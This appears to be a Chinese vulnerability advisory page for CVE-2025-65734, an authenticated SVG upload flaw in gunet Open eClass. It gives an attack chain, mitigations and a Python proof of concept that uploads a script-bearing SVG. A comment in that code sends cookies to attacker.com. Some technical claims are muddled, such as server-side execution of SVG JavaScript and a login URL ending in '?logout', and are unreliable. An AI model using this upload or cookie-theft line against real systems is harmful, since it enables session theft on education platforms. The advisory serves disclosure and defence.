IPBUF安全漏洞报告
English
CVE-2025-65734 CVSS 5.4 中危

CVE-2025-65734 gunet Open eClass 任意文件上传漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2025-65734
漏洞类型
任意文件上传/远程代码执行
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
gunet Open eClass

相关标签

CVE-2025-65734任意文件上传远程代码执行SVG注入gunet Open eClass身份验证绕过Work Assignments模块CVSS 5.4中危漏洞电子学习平台

漏洞概述

CVE-2025-65734是gunet Open eClass平台中的一个经过身份验证的任意文件上传漏洞。该漏洞存在于Courses/Work Assignments(课程/作业分配)模块中,影响版本为v3.11及之前版本,官方已在v3.13版本中完成修复。攻击者利用该漏洞可以上传精心构造的SVG文件,由于SVG文件支持内嵌JavaScript脚本,攻击者可以在服务器上执行任意代码,从而实现远程代码执行(RCE)。该漏洞的CVSS评分为5.4,属于中等严重程度。攻击成功的关键在于需要低权限用户身份进行认证,并且需要用户交互才能完成攻击。Open eClass是一个开源的电子学习平台,广泛应用于高校和教育机构,因此该漏洞可能影响大量教育机构的在线学习系统。攻击者一旦成功利用此漏洞,可以在服务器上执行系统命令、窃取敏感数据、植入后门或进一步横向移动到其他系统。鉴于该漏洞的严重性和影响范围,建议受影响的用户尽快升级到修复版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于Open eClass的Courses/Work Assignments模块对用户上传的文件缺乏充分的验证和过滤。具体来说,系统在处理作业提交时,允许用户上传SVG格式的文件,而SVG文件格式本身支持内嵌JavaScript代码(SVG标签内可以包含<script>标签或事件处理器如onload)。攻击者可以创建一个包含恶意JavaScript代码的SVG文件,当该文件被服务器存储后,如果服务器配置不当允许SVG文件被直接访问和执行,恶意脚本将在受害者访问该文件时在浏览器中执行。然而,更严重的是,如果服务器存在其他配置问题(如文件上传目录可执行、存在文件包含漏洞等),攻击者可能通过上传包含PHP代码的SVG文件(伪装成其他格式)或利用服务器端SVG处理功能来执行系统命令。攻击者首先需要使用低权限账号登录系统,然后导航到作业提交功能,上传恶意SVG文件。由于系统未对SVG内容进行安全检查,恶意文件将被保存到服务器。攻击者随后可以通过访问上传文件的URL来触发恶意代码执行。在某些配置下,SVG文件可能被服务器当作PHP文件解析,从而实现远程代码执行。

攻击链分析

STEP 1
1
侦察阶段:攻击者收集目标Open eClass服务器的信息,确定版本号和易受攻击的模块位置
STEP 2
2
获取低权限账号:攻击者通过默认凭证、暴力破解或社会工程学手段获取一个低权限用户账号
STEP 3
3
访问作业提交模块:使用低权限账号登录系统,导航到Courses/Work Assignments模块
STEP 4
4
创建恶意SVG文件:构造包含恶意JavaScript代码或PHP代码的SVG文件,绕过文件类型检查
STEP 5
5
上传恶意文件:通过作业提交功能上传恶意SVG文件到服务器
STEP 6
6
触发执行:访问上传的SVG文件URL,触发恶意代码执行,实现XSS或RCE
STEP 7
7
后渗透利用:在成功获得服务器访问权限后,进行数据窃取、横向移动或部署持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65734 PoC - Malicious SVG File Upload # Target: gunet Open eClass < 3.13 # Module: Courses/Work Assignments TARGET_URL = "http://target-server.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/index.php?logout" UPLOAD_URL = f"{TARGET_URL}/modules/work/work.php" MALICIOUS_SVG = """<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="300" height="200"> <script type="text/javascript"> // Malicious JavaScript - XSS payload alert('XSS - CVE-2025-65734'); // For RCE via SVG, this would need server-side processing // Example: <script>document.location='http://attacker.com/steal?c='+document.cookie</script> </script> <rect width="300" height="200" fill="red"/> <text x="10" y="100" fill="white">Malicious SVG</text> </svg>""" def login(session, username, password): """Login to Open eClass with low-privilege account""" login_data = { 'username': username, 'password': password, 'submit': 'Login' } response = session.post(LOGIN_URL, data=login_data) return 'login' not in response.url.lower() def upload_malicious_svg(session): """Upload malicious SVG file via Work Assignments module""" files = { 'userfile': ('malicious.svg', MALICIOUS_SVG, 'image/svg+xml') } data = { 'id': '1', # Course ID 'assignment_id': '1', # Assignment ID 'submit': 'Submit' } response = session.post(UPLOAD_URL, files=files, data=data) return response def main(): if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print("[*] Logging in to Open eClass...") if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[*] Uploading malicious SVG file...") response = upload_malicious_svg(session) if response.status_code == 200: print("[+] SVG file uploaded successfully") print("[*] Access the file at: " + response.url) print("[*] If server executes SVG as PHP, remote code execution is possible") else: print("[-] Upload failed") if __name__ == "__main__": main()

影响范围

gunet Open eClass < 3.11
gunet Open eClass 3.11
gunet Open eClass <= 3.11

防御指南

临时缓解措施
如果无法立即升级到v3.13,可以采取以下临时缓解措施:1)禁用SVG文件上传功能;2)配置Web服务器将上传目录设置为不可执行;3)修改文件存储策略,将上传文件存储在Web根目录之外;4)使用文件内容扫描工具检测恶意SVG文件;5)限制低权限用户的上传功能;6)启用详细的访问日志监控异常文件访问行为。建议在条件允许时尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表